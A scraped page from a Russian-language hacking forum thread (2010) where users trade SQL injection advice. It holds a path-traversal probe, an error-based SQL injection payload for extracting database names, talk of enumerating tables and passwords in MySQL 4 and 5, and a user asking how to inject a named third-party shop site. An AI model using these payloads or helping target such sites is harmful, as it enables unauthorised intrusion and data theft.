ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #13611  
Старый 04.06.2010, 07:23
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

/index.php?name=../index.php&p=../index.php&axn=1&query=../index.php
А вообще есть способ ещё один, по кол-ву вопросов в этой теме, который некто незнает.
Наз-ся вывод через ошибку ****...
Цитата:
/index.php?axn=1')or(1,1)=(select+count(0),concat(( select+database()+from+information_schema.tables+l imit+0,1),floor(rand(0)*2))from(information_schema .tables)group+by+2)--+
 
Ответить с цитированием

  #13612  
Старый 04.06.2010, 07:56
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

EoGeneo,DrakonSerg....


"Господа, задающие вопросы:
хватит ПИСАТЬ, попробуйте сначала хоть что-то ЧИТАТЬ !!!" (с) Jokester

Последний раз редактировалось Gorev; 04.06.2010 в 07:58..
 
Ответить с цитированием

  #13613  
Старый 04.06.2010, 08:08
Аватар для DrakonSerg
DrakonSerg
Познающий
Регистрация: 16.04.2009
Сообщений: 81
Провел на форуме:
1096131

Репутация: 45
По умолчанию

Цитата:
Сообщение от Gorev  
EoGeneo,DrakonSerg....


"Господа, задающие вопросы:
хватит ПИСАТЬ, попробуйте сначала хоть что-то ЧИТАТЬ !!!" (с) Jokester
где почитать, уважаемый? Я кроме инфы, что нужно выводить через юнион селект или ордер би инфы не нашел.
Я бы с удовольствием сам бы поучился, но хз где учиться
 
Ответить с цитированием

  #13614  
Старый 04.06.2010, 08:14
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Цитата:
Сообщение от DrakonSerg  
где почитать, уважаемый? Я кроме инфы, что нужно выводить через юнион селект или ордер би инфы не нашел.
Я бы с удовольствием сам бы поучился, но хз где учиться
https://forum.antichat.ru/showpost.php?p=407227&postcount=3
Топик с маном по скулям.
 
Ответить с цитированием

  #13615  
Старый 04.06.2010, 09:01
Аватар для EoGeneo
EoGeneo
Познающий
Регистрация: 29.08.2009
Сообщений: 75
Провел на форуме:
315861

Репутация: 5
Отправить сообщение для EoGeneo с помощью ICQ
По умолчанию

Ладно вопрос по другому поствлю.
GROUP_CONCAT() - С помошью этого запроса в 5 ветке мускула можно получить список таблиц бд.
Какой запрос используется для получения списка в 4 ветке мускула.
 
Ответить с цитированием

  #13616  
Старый 04.06.2010, 09:04
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Цитата:
Сообщение от EoGeneo  
Ладно вопрос по другому поствлю.
GROUP_CONCAT() - С помошью этого запроса в 5 ветке мускула можно получить список таблиц бд.
Какой запрос используется для получения списка в 4 ветке мускула.
О МАЙ ГАД Ты непобедим!
Кури маны, чо такое group_concat().
Если следовать твоей логике, то concat_ws специально mysql разработчики сделали для хакеров, ну мол там user(),database(),version() выводить одним запросом, а так же юзеров, пассы и т.п.
Извеняюсь забыл ещё.

Последний раз редактировалось Ctacok; 04.06.2010 в 09:09..
 
Ответить с цитированием

  #13617  
Старый 04.06.2010, 09:08
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

Цитата:
Сообщение от EoGeneo  
Ладно вопрос по другому поствлю.
GROUP_CONCAT() - С помошью этого запроса в 5 ветке мускула можно получить список таблиц бд.
Какой запрос используется для получения списка в 4 ветке мускула.
спусти тормозную жидкость...почитай ман по скулям... не раз уже тыкали носом в ман, неужели не хватает смелости все таки почитать что нибудь оттуда? тебе же сказали что информационная схема есть только в 5 версии мускула, а в 4 надо подбирать брутом..для этого есть куча утилит.. гугл тебе в помощь
 
Ответить с цитированием

  #13618  
Старый 04.06.2010, 09:16
Аватар для EoGeneo
EoGeneo
Познающий
Регистрация: 29.08.2009
Сообщений: 75
Провел на форуме:
315861

Репутация: 5
Отправить сообщение для EoGeneo с помощью ICQ
По умолчанию

Цитата:
Сообщение от Gorev  
спусти тормозную жидкость...почитай ман по скулям... не раз уже тыкали носом в ман, неужели не хватает смелости все таки почитать что нибудь оттуда? тебе же сказали что информационная схема есть только в 5 версии мускула, а в 4 надо подбирать брутом..для этого есть куча утилит.. гугл тебе в помощь
Спасибо, разобрался.
+
 
Ответить с цитированием

  #13619  
Старый 04.06.2010, 11:34
Аватар для haito
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
Провел на форуме:
20441

Репутация: 0
По умолчанию

привет команде;

http://beinoma.com/details.php?prodid=974%27 <-не показывать изображения

я пробовал много методов, но никакого результата
Как можно "inject" этот сайт
 
Ответить с цитированием

  #13620  
Старый 04.06.2010, 11:57
Аватар для pinch
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530

Репутация: 54
По умолчанию

c чего вы взяли что там inject...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ